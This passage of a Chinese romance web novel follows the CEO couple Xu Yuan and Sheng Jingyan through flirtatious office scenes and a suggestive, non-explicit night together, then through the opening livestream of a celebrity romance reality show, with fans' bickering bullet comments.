许愿还在想怎么报复段星河呢,这会儿就听到盛景炎真的要这东西,顿时朝他看过去。 “你脑子里面到底又在想些什么乱七八糟的东西了。” 甚至都到了需要锁门的地步,绝对不是多正经的东西。 “你又想些什么呢。”许愿拽着他的衣袖没放开,他还是那副衣衫不整的模样,衬衣扣子都是大敞的,有一种可以被人随意逗弄的错觉。 “大概是防患于未然,毕竟办公室确实是个容易发生意外的地方。” 盛景炎给了这样模棱两可的话。 许愿都有些不想理他了伸手戳戳他的腹肌,戳的男人眸光晦暗眼神都变了的时候接到了盛景炎助理的电话。 许愿把人戳出了火就溜了,甚至特别体贴担心盛景炎会被空调吹感冒,把西装外套盖到他身上,惹得盛景炎哭笑不得。 助理送的是盛景炎的手机,他来的匆忙就没带手机,还是助理送上来的。 许愿和盛景炎的手机的密码他们都是知道的,所以许愿完全不慌,点开盛景炎的手机。 她到现在胡闹这么久都还没忘自己跟盛景炎闹成那样被段星河看到全因想看盛景炎在购物软件商买了些什么奇奇怪怪的东西。 这会儿拿到手机就打算点购物软件,结果手机解锁后竟然在微博,还是微博超话。 是的,她跟盛景炎的微博超话。 他们两人的超话名字就叫“盛愿”超话,盛景炎的手机页面就在超话内,且还点开了一张长图。 盛景炎上班的时候不工作都在看这些? 许愿是真想看看盛景炎都看了些什么。 她是知道自己跟盛景炎有超话的,但她真没怎么看过,也就看过一个粉丝的剪辑,将他们两人少有的图片和视频剪辑到一起,甚至还将她前面跟温栩栩一起参加综艺的影像剪辑进来,还成了他们这个CP的镇宅视频,许愿还给那视频点过赞的。 这长图的作者好像就是那个剪辑视频的人,叫“香草拿铁”,大概是喜欢喝香草拿铁所以才起了这么个名字。 许愿觉得这粉丝剪的视频挺正经的,那写的东西应该也就是正常的小甜饼吧。 许愿是真的不理解娱乐圈饭圈和CP圈文化,更不知道有时候圈子里的人不剪辑黄色视频是真的一点素材都没有,但文的话,那真的是管他黑的白的全都写成黄的,就是真有小甜饼,小甜饼里面也绝对掺杂着黄色。 CP粉们开起车来谁也比不过,都是一群看着可可爱爱的纯情妹子,但敲起键盘来净化器都要害怕的程度。 第814章 不是小祸害,是小祸水 圈子里还有这么一个说法,最好不要惹我偶像,不然写你家哥哥姐姐小黄文,这事儿还真有过,有黑粉写过一个流量明星的文,最后还闹上热搜,不过许愿不关注这些完全不清楚这圈子里面的各种说法。 她是单纯想看看这位剪辑她和盛景炎视频的粉丝剪了什么东西。 许愿为了表示对这位粉丝作品的尊重,特地让助理去楼下买了份香草拿铁,有那种沐浴焚香的劲儿了。 一切准备好后,许愿终于看向那长图。 开头是她和盛景炎在办公室内,那应该是在工作? 继续看下去越来越不对劲了,盛景炎从哪里拿出了手铐?嗯? 拿手铐的明明是她,不是盛景炎。 等会儿…… 她就说今天她拿出手铐的时候盛景炎的表情有些不对呢,原来是看了这东西? 许愿想继续看,结果竟然还要倒过来看,行,倒过来就倒过来。 然后许愿就感觉到自己面前一辆迈巴赫嗖的就飞跃过去。 许愿:“……” 那个粉丝之前剪辑双人视频的时候不是这样的。 她为什么写的这么……这么涩? 现在CP粉都写的这么花? 她在这一刻突然就想到当初黎云笙为什么那么在意温栩栩跟江恒的CP了,黎云笙怕不是也看了这么多起奇怪的文。 不是?盛景炎上班不好好工作就看这些的? 许愿脸颊都红透了,返回后看到评论区都在夸“饭饭,我大吃特吃!” 再一看点赞量和收藏量,许愿有点想先死一死。 这位“香草拿铁”不仅只写了这一篇,她甚至写了几十篇,且还有个专门的办公室合集,有盛景炎断腿前断腿后乃至治好腿的。 这位粉丝大概觉得他们两个人都是总裁所以在办公室胡闹的概率很大,所以办公室合集写的很多。 什么落地窗的,休息间的,会议室的…… 玩的挺花啊。 怪不得盛景炎在听到段星河想给他们弄那个软件的时候没有拒绝,敢情是乐在其中了是吧。 许愿有点艰难的不敢去看超话了,她是真怕超话里面都是这些。 她是真不懂这些,在CP粉眼里,对视就跟DO没区别,而她跟盛景炎那岂止是对视啊,公共场合下拍到的亲吻就不少了,就这亲吻,CP粉能脑补出无数DO的方法,甚至给他们孩子都安排上了。 许愿在翻阅超话其它文的时候确实发现有“带球跑”的题材,不过有点离谱了。 那里面的“许愿”跟她其实几乎不是一个性格的了,她看了个开头就退出来了。 她现在就想去找盛景炎算账,在超话看了些什么奇奇怪怪的东西。 她重新回了休息室,盛景炎又开始休息了。 休息什么?还真当他累到了,结果就是在办公室里面看这些小黄文的。 许愿走过去就把人戳醒了。 盛景炎还没有开口让许愿给自己解开手铐呢,就见许愿将手机递到他面前,让他看的清清楚楚。 “是不是要解释一下这些文是什么意思?” 盛景炎:“……” 看这些的时候确实是忘记退出来了。 盛景炎有些尴尬的想摸摸鼻尖,但现在手被拷着动弹不得,只能有点无助的看着许愿,明摆着装可怜打算萌混过关。 许愿伸手捏他脸:“我看你就是满肚子坏主意,你的购物软件我不点开都知道买了很多欺负人的东西。” 盛景炎无赖的摇晃了下手铐:“阿愿,解开好不好。” 他那双桃花眼其实很少会有冷意,特别是看许愿的时候总是带着明显的深情笑意,此刻这样望着她,带着点可怜的劲儿,虽然是演的,但演技肯定很好,不然许愿也不会被他勾着真的打开了手铐。 被他压制在床上的时候许愿才后知后觉自己放开了盛景炎。 她抬眸就对上男人那双黑沉的眸子,看的心尖都微微发颤。 他的眼睛真的很漂亮,漂亮到像是能盛装盛放的花朵,漂亮到能够盛满星河那般璀璨的微光。 “你干什么。”许愿没有反抗,只是伸出手抱住盛景炎的脖子。 盛景炎轻笑一声:“你猜我想干什么。” “还能做什么,当然是欺负人了。”她拽住盛景炎的衣领,盛景炎顺着她的力道低头,被她亲吻着咬了一口,力道不重,像是玩闹的力道。 盛景炎呼吸粗重:“刚才玩了那么久,现在是不是该换我了?” 许愿注意的到他微微变化的眼神,她眼睛里带着笑意:“那你是不是要去看一看办公室是不是真的锁了门。” 盛景炎:“……” 所以他就说了,就该让段星河研究那个软件设备在许愿办公室安置上,这样省的他们每次亲热还要担心办公室的门没有锁,担心谁会一时不察闯进来,那未免也太尴尬了。 他叹气,埋头在许愿的脖子上蹭了蹭然后很轻的亲吻着,呼吸温热喷洒在肌肤上,惹得她不由得颤栗。 “别闹了,快去看有没有锁门。”许愿赶紧提醒她。 盛景炎幽怨的从她脖颈处抬头看她:“阿愿,你真的很会欺负人。” 许愿有点得意的开口:“我想去欺负其他人你肯定也不许的,对吧。” 那肯定的。 欺负他那时情趣,再说了,那能叫欺负吗,顶多算是情侣之间的小游戏罢了。 但许愿如果那样去欺负别人,盛景炎肯定第一个就要炸了,完全没办法接受的程度。 “算了,小祸害还是留在我身边欺负我一个人吧。”盛景炎叹了口气,像是真的很无奈一般。 “说谁小祸害呢。”许愿反驳他。 盛景炎蹭蹭她:“好,不是小祸害,是小祸水。” 这还差不多,虽然就一个字不一样,但意思可差太多了。 许愿满意了,抬腿踹踹他:“快去。” 盛景炎只能从床上爬起来去看办公室的门锁没锁,果然没锁,锁好门回了休息室,特地把休息室的门也锁住了。 见他这么小心,许愿忍不住笑,盛景炎现在看她实在是觉得她有点像小恶魔了,不然为什么这时候还能笑得出来呢。 第815章 是不是该补偿我了? 他走近许愿身边,握住她的手腕很轻的摩挲:“现在是不是该补偿我了?” 将人抱进怀中,他总喜欢抱着许愿,她身体总是香香软软的,他抱着她的时候才会觉得自己好像真的完全的拥有了他。 他虽然面上看着总是懒懒散散吊儿郎当的,但其实占有欲很强,是那种看到许愿跟异性……不,跟同性交往都会吃醋的那种。 但吃醋归吃醋,他不会真的限制许愿的任何行动以及交友。 所以只会在别的方向来得到点安全感,譬如抱着她,完完全全的将人搂抱在自己怀中。 “我们马上就要去参加恋爱综艺了,到那时要一直面对着直播镜头,可能没办法像现在这样亲密,所以是不是要在综艺开始前陪一陪我……”他哑着嗓子,声音带着蛊惑:“或者说,喂饱我。” 他的情欲直白且火热。 很久前盛景炎和许愿还没有正式在一起之前就有人评价过盛景炎,说他长了一张能跟爱人把床弄塌的脸,曾有圈内二代找过老中医看盛景炎的面相,毕竟那时候盛景炎是圈子里面出了名的浪荡子,都以为他身边女人很多,所以想嘲讽他是不是外强中干身体早就不行了。 结果当时中医说了一句话。 “他能顶你们这一群二世祖。” 那群二世祖少说有十个人,且这群人找的还是江惊蛰的爷爷,老爷子说这话他们都没处说理去,想报复都不敢。 后来者群二世祖想抹黑盛景炎,毕竟那会儿都是二世祖,凭什么盛景炎那么受欢迎啊,他们不服,就在网络上说盛景炎肾虚肾亏肾不行的言论,江惊蛰的爷爷知道后还特地发了微博嘲他们胡说八道,评价盛景炎把床搞榻他都还能生龙活虎不带喘的。 就这评价,当时圈子里多少喜欢玩的爱约的都拿盛景炎当梦中情人了。 长得帅有钱还身体好,谁不爱啊。 所以盛景炎和许愿的CP粉才会写那么多小黄文,全因为老爷子先前的评价。 事实也确实如此,盛景炎和许愿确实是彼此之间非常和谐,且没事就喜欢缠着许愿撒娇。 现在又在撒娇了,且还是带着蛊惑的撒娇。 用那双饱含情意的桃花眼看着她,她不没有反应才不是正常人。 对着他的眼神,忍不住凑上去主动吻住他回应他。 …… 一切结束的时候已经是深夜了,许愿懒洋洋的躺在床上,任凭盛景炎抱着自己清理洗漱,整个人像是大号娃娃一样。 偏偏盛景炎就喜欢这样抱着她照顾她,他甚至有时候会想喂她吃饭更好。 清理好了给她换上一件较为宽松一些的长裙,没办法,因为他饿起来总是会很凶,穿的多了会蹭的不舒服,他自己也知道这些,所以特意选了宽松的一间长裙。 被放到床上的时候眼尾还带着点红,倒不是被欺负哭了,他们两人其实是很契合的,纯粹是生理性的反应。 毕竟是江老爷子夸过的好身体,不是白夸的。 “饿了。” 许愿躺在床上懒洋洋的还在翻阅那份恋爱综艺的文件。 这个时间如果是小县城大概饭店都要关门了,但帝城的很多店都还开着门,华庭更是24小时开门。 有华庭他也不会选其他的,见他叫了餐,许愿懒洋洋道:“我刚问了各部门,今晚加班的人不算少,给他们也叫一份宵夜,汤和甜品也来一份。” 盛世的福利一直都很好,在盛世加班一般都会有夜宵,不过不会豪华到叫华庭的餐,毕竟华庭的餐随便一餐大概就要四位数,这还是最便宜的配餐。 不过许愿不缺这个钱,给员工叫餐也是顺便的事。 最主要的是加班的还有研究所的研究员,这群人总是昼夜颠倒,特别是段星河,她要给段星河随便叫个餐点,段星河就能踹开她办公室的门嘟囔她剥削员工。 今晚加班的除了研究所的研究员还有几个项目组和法务部的在加班。 这些人加班是完全不觉得有什么亏的,因为在盛世加班是会有三倍加班费的,不仅有加班费还有宵夜,连员工休息间都有设备好,就这态度谁不爱加班? 盛景炎和许愿都是不缺这个钱的,也没在意这事儿。 华庭的外卖都是现做的,这个时间了能挑的比较少了,盛景炎挑了许愿爱吃的几个菜,叫的都是小份,不过种类比较多,许愿吃不完他再吃剩下的。 许愿懒洋洋的躺在床上等外卖,盛景炎抱着她替她揉着有些酸涩的腰,许愿哼哼唧唧的点着手机,就见江恒给她发信息了。 【江恒】:许愿你在吗?睡了吗? 许愿看看时间,现在是凌晨四点,哦,她叫的餐不该说是宵夜了,该说是早餐了。 对,等华庭送过来也快到了该吃早餐的时候了。 许愿看了眼盛景炎,戳戳他的腰:“再叫份早餐吧,少叫点,给加班那群也叫上,闹腾了一晚上吃了早点就回去休息,不算他们缺勤。” 盛景炎照做。 许愿这才继续看微信,她多少觉得江恒有点毛病。 谁家正常人早上四点还不睡?而且这个时间也不可能醒啊! 但巧的是她确实被折腾的没有睡。 许愿给江恒回话。 【许愿】:你要不要看看时间?现在几点? 见她回复了江恒那边迅速回应。 【江恒】:你现在方便接听电话吗?我给你打过来??什么事情这么着急? 许愿思索了下同意他打过来了。 “这个时间还没睡?还是你在拍戏录制节目?”许愿问。 “录制一档密室逃脱类的节目,这次说是什么古堡夜戏的这种题材,所以晚上才开始录制,现在才刚刚结束。”江恒解释了句:“我给你打电话不是为了说这个的。” “我想问你和盛景炎考虑好要不要参加这档恋爱综艺了吗?” “因为现在正播出的那档节目因为重要嘉宾被爆出吸食禁品且违法犯罪的记录,且那档节目收视率一路下滑,猫咪电视台决定后面的节目腰斩,这周就是最后一期,这样的话接档节目的就是《爱人的浪漫旅行》,本来还有一个月的时间,但是因为事发突然最晚后天就开始录制,导演一直在问我联系好最后一对CP没有,如果没有联系好他就先找个其它替补的顶上来。” “你和盛景炎要参加吗?” 第816章 今天可不是愚人节 许愿听到江恒这话还觉得有那么点无语。 今天才给她发了相关文件,现在就要问她参不参加。 许愿总觉得这有那么点赶鸭子上架的意思。 不过她跟盛景炎商量好了,本就打算参加的,早一点晚一点也没什么,反正她工作都已经安排下去了。 “当然参加,你把我和阿炎的微信推给导演,让她有事随时联系我。” 江恒见她答应了也不多说别的了挂断电话就给导演推了许愿和盛景炎的微信。 导演那边还在着急呢,因为电视台那边突然联系她,出了这档子事儿替补的也不好找,导演拟邀了几份,都觉得差点火候,不怎么火,现在着急上火的眼皮都肿了,结果这会儿江恒给她发了信息还推了两个名片。 江恒那边谈妥了? 介绍的谁啊。 江恒认识的圈内人多,导演确实靠着江恒呢,结果看到推过来的名片是谁整个人都有些傻眼。 谁?给他推的谁! 许愿和盛景炎! 导演战战兢兢生怕这是江恒的恶作剧,马上就给他打过去。 “江老师!你推的许总和盛总是认真的吗!今天可不是愚人节!” 江恒也知道导演激动,懒洋洋的喝着助理才泡的冰咖啡开口:“我没事糊弄你干什么,这么大的事我肯定是问清楚了才把名片推你的,许愿亲口说的让你有事随时联系她。” “最近网络上关于怀疑她和盛景炎之间的人还挺多,她估计也是想上一档节目澄清一下,没人拿这事儿逗你玩,不然你添加微信好友联系她?” 导演一激动,直接就把江恒的电话挂了。 江恒:“……” 得,有了许愿和盛景炎就不要他了? 行,那他确实是没办法跟许愿比。 副导演见导演激动的都快哭了还当没决定要邀请谁,赶紧走过来:“宋导,您快看这一对儿怎么样,是……” 话都没说完呢,导演宋玥立刻道:“不必了!已经请到人了!” 有了许愿和盛景炎,那节目必然大爆! 许愿是跟温栩栩一起参加过一档综艺,但是也只参加了一期,且许愿跟盛景炎还没有一起参加过一档综艺呢!还是恋爱综艺! 节目没播就猜到收视率会有多高了! 节目就算真是狗屎,那观众就冲着他们两人也要来看一看的! “宋导?您这是请到谁了?都激动哭了。”副导演心里发愁,到底是什么十八线艺人演员才让导演愁云惨淡的,甚至被逼哭了。 “许总和盛总。”宋导没瞒着他。 也没必要瞒着,因为马上就要开播,明天就要发布一些预告和宣传片了,副导和动作人员马上就全都知道了。 副导觉得自己可能没听清楚,他甚至掏掏耳朵:“宋导,您说谁跟谁?” “许总和盛总。” “是我知道的那两位?”副导演震惊。 “就是许愿和盛景炎!” 副导演这次听清楚了,眼皮直抽,也跟着激动哭了。 妈的,本来都要急死了,结果给了这么个大惊喜啊!许愿和盛景炎都来参加他们的节目了,这节目还有不爆的可能吗! 宋导宋玥这次完全不慌了,赶紧联系了许愿和盛景炎明天能不能去他们住的地方先去拍摄直播,许愿那边直接让他发了流程同意了。 导演又在拍自己胸口了。 跟许愿谈妥后,早上等电视台的人再来打电话问敲没敲定人选的时候宋玥特别得意。 “您是不知道我这次请到了谁啊!到时节目肯定大爆!” 领导:“……” 到底是请到谁了这么嘚瑟? 领导问了好几次宋玥也没吭声,只等着让他到时候看直播。 早上节目组就发了预热的微博,特意联系了圈内那三对明星转发。 第一对儿流量女演员林悠羽和已经晋升资本的男演员宋明远,第二对是湾湾女星周媛媛和实力派男星周鹤瑾,第三对是“国民CP”沈从何杜佳阮。 六位明星在恋综《爱人的浪漫旅行》官博发了微博后立刻转发。 这群人都是很火的明星,分分钟转载评论过十几二十万。 《爱人的浪漫旅行》这档节目还未播出,只是公布了嘉宾就已经爆火上了热搜头条,都没有买热搜恋综直接冲上热搜榜一。 #《爱人的浪漫旅行》# #林悠羽宋明远恋综# #周鹤瑾首次与妻子参加综艺# #国民CP恋综指南# 直播室中午的时候开始,现在还是早上,但却是周六的早上大多数人都放假在家,全都等着直播了。 关注的人越来越多,宋玥导演高兴的合不拢嘴。 吃瓜网友还有期待节目播出的网友都在掐着时间等直播。 “我没看错吧!林悠羽和宋明远两人打算一起上恋综了?之前不是有记者拍到两人在包厢里争吵的画面吗?还有人说两人好像感情不和快要离婚了,这时候参加综艺……是真的假的啊!我靠,这俩人转发微博了,是离婚前打算最后圈一波钱吗!” “林悠羽嫁给宋明远可算是吃尽红利了,以前谁知道她就是个十八线的女模特?嫁给宋明远后拍的戏都是女一号,那么多流量给她做配,但可惜了,这么强捧硬捧,结果没演技就是没演技,光凭着那张脸了,后来圈子里有了个比她还漂亮的温栩栩,要演技有演技要相貌有相貌,不过到底是资本抛弃了林悠羽还是宋明远抛弃林悠羽还未可知。” “我拜托了行吗!说林悠羽和宋明远能别带我们栩栩吗!我们栩栩都暂时退圈了,别搞!” “周鹤瑾要参加恋综这是认真的吗?” “我对周鹤瑾的印象还停留在十年前的秦王殿下!谁能懂啊!当年周鹤瑾还是新人,我那时候念高中,看剧只喜欢看自己喜欢的男演员和女演员的剧,那时候周鹤瑾一部《帝谋》横空出世,重要角色全部都是新人!当时一直霸榜,热度点击全都在榜首,甚至超过了我当时很喜欢的男星的剧,我当时特别气愤,只觉得电视剧封面的男主太帅了,但因为不认识就没看!结果等了三个月暑假的时候这部剧还在霸榜!我太不服气了!到底是什么了不得的剧能一直霸榜,说真的我被他封面那张帅脸勾引进去的,本来只想找茬看的剧,可最终被迷得死死的,当年二十四岁刚大学毕业,演技就已经那么好,且还长了一张古装美男的脸,剑眉星目自带贵气,看人的时候深情中带着笑,笑起来感觉冬天的冰雪都要融化,从那天起我真的粉了周鹤瑾,这么多年一直粉啊!” 第817章 头条 “周鹤瑾是真的很绝,坦白说在他这年纪有他这相貌的没他这样的演技,有他这演技的没他这样好的相貌,且为人低调,圈子里导演都喜欢用他,可以说周鹤瑾不是明星,是演员。” “当年周鹤瑾《帝谋》的亲王殿下让多少人觉得古装美男就该是这样,结果自那之后一堆古装丑男或者没演技只有脸的男明星,那之后嫌少有人能做到周鹤瑾那样,一个角色让人记了十年之久。秦王殿下确实是白月光了。” “周鹤瑾特别低调,且在当年最火的时候结婚转型,这么多年都没跟妻子周媛媛参加过双人综艺,这次竟然真把人请来了,妈惹好期待啊!我曾经的古装男神!” “有时候真的很羡慕周媛媛,每天跟这么帅的男明星睡觉。” “周媛媛……周媛媛私生活挺乱的,白瞎了一个大帅哥。” 周鹤瑾和周媛媛的结合很多人都不看好,当年两人结婚周鹤瑾粉丝打量脱粉,其一是因为周鹤瑾爆红就结婚,其二是周媛媛在湾湾曾经当做其它人的小三破坏过其他人的感情,所以粉丝们接受不来这样的人当嫂子遂脱粉。 比起林悠羽和宋明远,更多人在意这一对儿到底会不会离婚,什么时候离婚。 甚至有人称根本没办法接受两人参加综艺秀恩爱。 周鹤瑾的粉丝这些年只是一直心疼他,但凡粉丝发心疼周鹤瑾的言论,周媛媛的粉丝就攻击他们媚男。 可事实上周媛媛破坏别人感情的事情确实是真的,没得洗。 周鹤瑾是转型了,但粉丝都还在,她们都只是长大了工作了低调了,但不是死了,看周鹤瑾参加综艺全都支棱起来。 至于第三对沈从与杜佳阮这两个是流量,评论区的CP粉也是一直尖叫。 “我就说这两人在谈了吧!国民CP哎!我嗑的CP绝对是真的!她们不是真的我就是真的!”这是CP粉。 “SB,就为了热度参加个综艺你们CP粉还当真了,沈从怎么可能看得上杜佳阮那么个整容脸丑八怪!国民CP一直都是温栩栩和江恒或者温栩栩和陈升!这两对都比他们火!要不是温栩栩暂时退圈真以为能轮得到你们姐姐啊!垃圾!”这是沈从毒唯粉丝。 “我们佳阮没有整容!天生的!这么多年脸就没有动过!你们哥哥才是烂演技!要不是江恒不在,你以为节目组会请你们哥哥吗!你们哥哥才垃圾!”这是杜佳阮的毒唯粉丝。 “说杜佳阮没整容的笑死人了,自己去看看她拍一部戏换一张脸,有时候拍广告的时候脸都要成硅胶了!你们姐姐就是丑,又丑又壮还整容,她童星出道的时候就有圈内前辈说她不够漂亮行吗!她就是不好看,在普通人里只能说是小美女,在遍地美女的娱乐圈她就是个丑八怪!都这样了还整天演第一美女,照照镜子行吗!第一美女怎么也要是温栩栩那样!整天夸杜佳阮漂亮的眼睛多半是瞎了,实在没钱我们众筹给你们捐钱看眼!”这还是沈从毒唯。 温栩栩粉丝:“……” 有病吗? “我们栩栩暂时退圈!你们骂归骂能不带我们栩栩吗!招谁惹谁了!” 温栩栩粉丝是真服了。 网络上还是骂作一团,但节目的热度是绝对有了。 有人眼尖的发现第四对没有公布是谁,都在猜测被邀请的人是谁呢。 节目组明显卖了个关子,这种情况,受邀的两人要么是没咖位的十八线,要么是绝对压轴出场的爆红角色。 可圈子里结婚的热恋的比较红的已经在这里,还有谁能比林悠羽宋明远还有周鹤瑾周媛媛更有名的? 网友吃瓜猜测,因宋玥导演前面就放话说是娱乐圈内的恋综,所以都在猜是不是娱乐圈内的老前辈。 猜谁的都有。 马上到了中午,节目组的四组摄影师和直播摄像头都已经准备好了。 四组直播同时开启。 第一组是林悠羽和宋明远,直播间开启,拍到的先是宋明远的侧脸,宋明远开着豪车进入人烟稀少、环境清幽的富人区,在一处豪华别墅停下。 宋明远将车子开进地下停车库,地下车库有七八辆豪车,直播间都要惊叹宋明远有多富了,全都在刷屏,都说林悠羽是真嫁入豪门了。 倒是宋明远回到家中,直播镜头跟随宋明远进了厨房。 是林悠羽在做饭,直播镜头拍到林悠羽漂亮的侧脸,还有她的手指,漂亮修长,而桌上是林悠羽已经做好的饭菜。 宋明远回到家就抱住林悠羽,眼神里面都是明显的爱意。 {如果这都不算爱娜什么才是爱?眼神是骗不了人的!} {林悠羽在家里都为宋明远洗手作羹汤了,怎么可能不爱宋明远?这两人明显感情没问题。} {之前被拍到说两人闹别扭吵架也很正常吧,毕竟我爸妈平常也会因为一些事吵架啊,吵完后不还是一样过日子?} 弹幕说什么的都有,但都在说林悠羽和宋明远两人很相爱,这是没几个杠的。 第二组就是周鹤瑾和周媛媛了。 周鹤瑾和周媛媛的儿子已经五岁了,直播间中周鹤瑾收拾行李,因为这档综艺是旅游综艺,不能在家里面拍摄,所以周鹤瑾在收拾。 周鹤瑾的儿子叫周文晏,周鹤瑾折叠一件衣服放进行李箱,周晚宴就要捣乱丢出去,放一件丢一件,最后无赖的自己蹲到箱子里,用那黑亮的眼睛看着周鹤瑾奶声奶气的开口:“爸爸~带晏晏一起去好不好~” 这是周文晏第一次亮相,不愧是古装美男周鹤瑾的儿子,小孩儿长得特别漂亮,也继承了周鹤瑾身上那种独特的忧郁气质。 这么小就已经看出跟周鹤瑾完全一个模子刻出来的,长大后肯定又是个小王子。 周文晏耍无赖,周鹤瑾便提起周文晏的后衣领,小孩儿赶紧扑进周鹤瑾的怀里。 “爸爸这次还要去当警察吗?不要去了好不好,上次爸爸抓坏人被打晏晏好难过好伤心的。”小孩儿眼睛亮晶晶的却已经隐隐有了泪花。 第818章 谁不想伺候许愿啊 周文晏说的是之前周鹤瑾参演的一部电视剧,他在里面饰演的是追击禁品贩子的警察,里面没少跟人打斗。 周鹤瑾揉弄着儿子软软的头发:“这次不是去当警察,是要跟妈妈一起去旅游。” “那更要带上晏晏!我们一家人一起去!”周文晏挺起小胸脯。 周鹤瑾笑起来:“是夫妻才能去的恋爱综艺,带你做什么?带你去奶奶那里好不好,奶奶说很想你,给你做了你最爱吃的桂花糕,奶奶家的小黄和小黑也都在想你,难道晏晏不想过猫狗双全的幸福人生了吗。” 周文晏委屈的抱住他的脖子:“呜呜,要小黄和小黑,也要爸爸!” “晏晏乖好不好,这是爸爸的工作,还记得上个月来看过你还送了你变形金刚的导演姐姐吗,爸爸如果不参加她的节目,她就找不到人来拍节目,会吃不起饭的,晏晏忍心吗。” 确实是宋玥邀请周鹤瑾参加节目还卖惨来着,要不是这样周鹤瑾也不会参加恋综。 周文晏委屈的眼皮都耷拉下来:“那下次要导演姐姐再给我一个变形金刚当做补偿……算了,她都要吃不起饭了,爸爸我不要她的变形金刚了,把上次她带来的变形金刚卖掉吧,她还可以多吃几天饭的。” 周鹤瑾被儿子这天真的言论逗笑了,忍不住又揉了揉他的头发。 “爸爸,我的存钱罐里面有钱哦,如果导演姐姐吃不起饭我可以偷偷给她买饭吃,不会让她饿肚子的!”周文晏还小,真的信了周鹤瑾说的宋玥导演吃不起饭的言论,此刻还在童言童语。 周鹤瑾又哄了几句,周文晏这才乖乖的同意跟奶奶走。 直播弹幕全都被周文晏可爱到了。 {这是晏晏第一次亮相吧!真的好漂亮啊!好像矜贵的小王子!真的一看就是周鹤瑾的崽崽!} {崽崽被养的好棒啊!好可爱好礼貌!还知道用自己的钱养导演哈哈哈不知道导演看到心里什么想法,可爱死了!} {别人家的崽崽……哎……我的崽崽拆家中。} {晏晏一看就特别黏周鹤瑾,周鹤瑾是真的教的很好,我听说周鹤瑾平时除了拍戏都会在家陪晏晏,还记得又狗仔跟了周鹤瑾一年,真的是整整一年,最后发现周鹤瑾就是三点一线的生活方式,拍戏跟老婆儿子视频电话,拍完戏回家,儿子放假就带到剧组,不拍戏就哄儿子教儿子功课,真的!当时狗仔的视频和照片发出来我还觉得是周鹤瑾在营销!现在一看绝对不是营销,小孩儿最单纯,能明白谁对自己最好,这明显就是跟周鹤瑾关系特别好才喜欢黏着他,喜欢贴贴。} {周鹤瑾的为人,确实没的说。} {难道最好笑的不是宋玥导演吗,宋玥导演亲口说自己有个朋友不喜欢参加综艺,这次是她卖惨求来的,这一看就是周鹤瑾了,哈哈哈宋玥知道周鹤瑾跟崽崽说她快吃不起饭了吗!} 在观看直播的宋玥导演:“……” 谢邀,一开始不知道但现在知道了。 {话说周媛媛人呢?} {一直没看到周媛媛,晏晏也没提到周媛媛……嗯,感觉崽崽不太黏妈妈哎。} 评论区有人提到周媛媛,不过没掀起多少水花,都去看周文晏和周鹤瑾的互动了。 第三组就是“国民CP”沈从和杜佳阮。 两人只是拍戏凑到一起的CP,并不是恋人,也不是夫妻,所以并没有住在一起。 不过为了方便直播,两人是提前收拾好了行李,杜佳阮去了沈从家一起直播,两人看着关系确实很好,也不停在CUE两人那部热剧,也马上引起共鸣,CP粉嗑的云里雾里的。 而第四个直播间,去了第四个直播间的人进去了就出不来了。 等出来后激动的去微博发帖。 #日!宋导把许愿和盛景炎请去参加恋爱综艺了# #许愿盛景炎参加《爱人的浪漫旅行》# “靠啊!怪不得宋玥导演一开始没有公布第四组是谁!大家都在猜测是圈子里的前辈!这哪里是圈子里的前辈!这他妈……都跨界了!” “没得喷,这确实要压轴。” “硬要说两人跟娱乐圈有关系……那也确实是有关系,毕竟许愿和盛景炎没少上热搜,而且温栩栩跟许愿关系也很好……” “我宣布这才是真正的万能的国民CP!” “我就没别的意思,就想问问盛世还招人吗,求收留啊许总盛总!” “啊对对对,求收留!” 因为许愿和盛景炎的加盟,本来就对这档综艺抱着期待的一群人都去了第四个直播间。 废话!两个总裁凑一起参加恋爱综艺啊!他们能不好奇吗! 直播镜头拍摄的并不是别墅区,而是最高档的公寓楼,在帝城这地段一套公寓最便宜都要在三四千万,可以说是寸土寸金的程度。 摄像师敲门,开门的是盛景炎,他身上穿的是很日常的睡衣,此刻似乎才洗漱过,整个人就这么素着一张脸面对直播镜头。 直接美颜暴击。 {我……纯路人哈,我就问一句,这人真是个总裁不是娱乐圈的男艺人?} {素的素的,真的是总裁!我们盛总超帅的好吧,不好看的话我们许总也看不上啊!许总超挑剔。} {嘶……这一看就是一点妆没化,这桃花眼,这鼻子,这嘴巴,这身高,咱就是说盛总真的不能出道吗?} {你让分分钟百万的总裁给你拍戏给你当乐子?你疯了还是我疯了?} {哎?许总呢,许总呢!给我看许总啊!} 评论区乱作一团。 摄影师赶紧问了句:“盛总,许总呢?他们都想看许总。” 盛景炎挑了下眉,笑的有那么点意味深长。 “阿愿啊,还在休息,等会儿吧,等我做完午餐再去叫她。” 不对劲,很不对劲。 盛总为什么是这个笑容! 盛景炎倒是没有解释,摄影师便跟着进了厨房,盛景炎熟练的择菜切菜煎三文鱼,一看就是经常做饭下厨的人。 不过想想他伺候的那人是许愿,那说得通了。 开玩笑,谁不想伺候许愿啊。 第819章 你又亲我? 等盛景炎做好饭已经是二十分钟后了,他看着真的是经常做家务,炒菜煎三文鱼的时候就已经在收拾料理台,炒完菜也收拾的干干净净了。 摄影师看着都真心佩服,反正换他,他是没这么厉害的,肯定都要弄得一团糟。 “好了,我去叫阿愿。” 盛景炎将饭菜都端上桌,这才摘掉围裙洗净手后打开了主卧的门。 摄影师在他身后小声问道:“盛总,我们能进去吗?” 盛景炎扬眉:“暂时不可以,阿愿在睡觉,等我给她换好衣服再说。” 摄影师:??啊? 评论区更是一连串的啊啊啊啊! {家人们谁懂啊!盛总说给许总换衣服!这可是换衣服哎!有什么是我们尊贵的VIP不能看的!能看看吗呜呜呜!} {救命我也想看!} {等会儿?刚才许总是在睡觉没有起吗!这个时间了许总竟然还没起,我能不能稍微想歪一点……许总昨晚跟盛总做什么了?} {小情侣的事你少管,反正不会是去偷鸡。} {成年人了,晚上还能做什么……他俩长这么好看,能不能也带我一个,我真的也很想加入这大家庭,我没别的意思就是想近距离嗑CP嘿嘿,如果能按时给我发点零用钱那就更好了!} {楼上你做梦吧!} 评论区全都在刷两人,嗑CP的更是嗑的风生水起。 盛景炎进了房间关上门,摄影师在门外。 许愿赖在床上,整个人用被子将自己裹成了蚕蛹,似乎是觉得有点热了,所以踹开被子,一抬眼就看到盛景炎,直接把一旁的抱枕砸过去。 盛景炎轻笑的抓住抱枕走近。 “午餐已经做好了,还不起来吗?节目组的人都已经到了。” 许愿捂脸:“我再躺会儿,再五分钟,就五分钟。” 她忍不住抬手揉了揉腰盛景炎看她这副模样笑着给她捏腰,许愿没有骨头似的贴进他怀中。 